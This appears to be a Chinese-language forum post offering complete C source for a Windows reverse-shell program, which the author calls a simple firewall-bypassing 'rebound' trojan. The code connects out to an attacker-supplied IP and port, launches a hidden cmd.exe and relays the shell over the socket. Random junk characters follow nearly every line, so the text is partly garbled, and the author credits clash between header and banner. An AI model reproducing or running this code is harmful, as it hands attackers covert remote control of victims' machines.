这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mmn1yX:d
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/* ============================== W<uL{k.Kpd
Rebound port in Windows NT tKUy&]T
By wind,2006/7 Y;eJo
===============================*/ e[@
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#include WPM<Qv L
#include WxS=Aip'
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#pragma comment(lib,"wsock32.lib") D|D1`CIM
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void OutputShell(); )>LC*_v
SOCKET sClient; 4l?98
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {&c%VVZb:Z
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void main(int argc,char **argv) /z4xq'<
{ @zJ#16Vi
WSADATA stWsaData; */L;6_
int nRet; b+M[DwPw
SOCKADDR_IN stSaiClient,stSaiServer; 1*x4T%RF$
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if(argc != 3) @$79$:q N
{ GfQP@R"
printf("Useage:\n\rRebound DestIP DestPort\n"); 7,e=|%7.
return; `q exEk@S
} AMYoSc
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5Wi5`8m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =fHt|}.K
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stSaiClient.sin_family = AF_INET; U<r<$K
stSaiClient.sin_port = htons(0); 5.|rzk>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^ D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {F
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{ ^%d+nKx9nL
printf("Bind Socket Failed!\n"); xsFW F*HPs
return; EW4XFP4
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} kozg8 `\]
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stSaiServer.sin_family = AF_INET; &nn.h@zje
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u 3,b,p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z<<` 1wqg
{ -"a+<(Y
printf("Connect Error!"); 66'TdF]"
return; @-b}iP<T
} MO#%w
OutputShell(); 4g1u9Sc0
} u'K<-U8H
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void OutputShell() RFK
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{ o
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char szBuff[1024]; %k$C
SECURITY_ATTRIBUTES stSecurityAttributes; TTE#7\K~B
OSVERSIONINFO stOsversionInfo; J*U(f{Q(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c=
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STARTUPINFO stStartupInfo; ^1cqx]>E
char *szShell; (tq)64XVz
PROCESS_INFORMATION stProcessInformation; :za!!^
unsigned long lBytesRead; RycEM|51V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ao-C9|2>NU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2s{yg%U(
stSecurityAttributes.lpSecurityDescriptor = 0; x:2[E-
stSecurityAttributes.bInheritHandle = TRUE; XbH X,W$h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E>g'!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pdn.c1[-a
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u%h<5WNh<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i5n'f6C
stStartupInfo.wShowWindow = SW_HIDE; r\NnWS J
stStartupInfo.hStdInput = hReadPipe; kv5Qxj}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UJm`GO
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GetVersionEx(&stOsversionInfo); U50X`J
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switch(stOsversionInfo.dwPlatformId) 2)8lJXM$L
{ nK|";
case 1: 8EE7mEmLH
szShell = "command.com"; R#ZDB]2
break; SUVr&S6Nk
default: #YNb&K
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szShell = "cmd.exe"; SA&wW\Ym]
break; 7 Ow7|
} vB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AHA*yC
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send(sClient,szMsg,77,0); )3
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while(1) lR(&Wc\j
{ evs2dz<eA
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vK{K#{
if(lBytesRead) g<C})84y3
{ @<PL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2
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send(sClient,szBuff,lBytesRead,0); NWpRzh8$u
} f6"j-IW[z
else [V f|4xcD
{ }n=NHHtJ
lBytesRead=recv(sClient,szBuff,1024,0); z%KChU
if(lBytesRead<=0) break; Gt%kok
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S3<v?tqLr
} f
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} 4(&'V+o
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return; l}^#kHSyd
}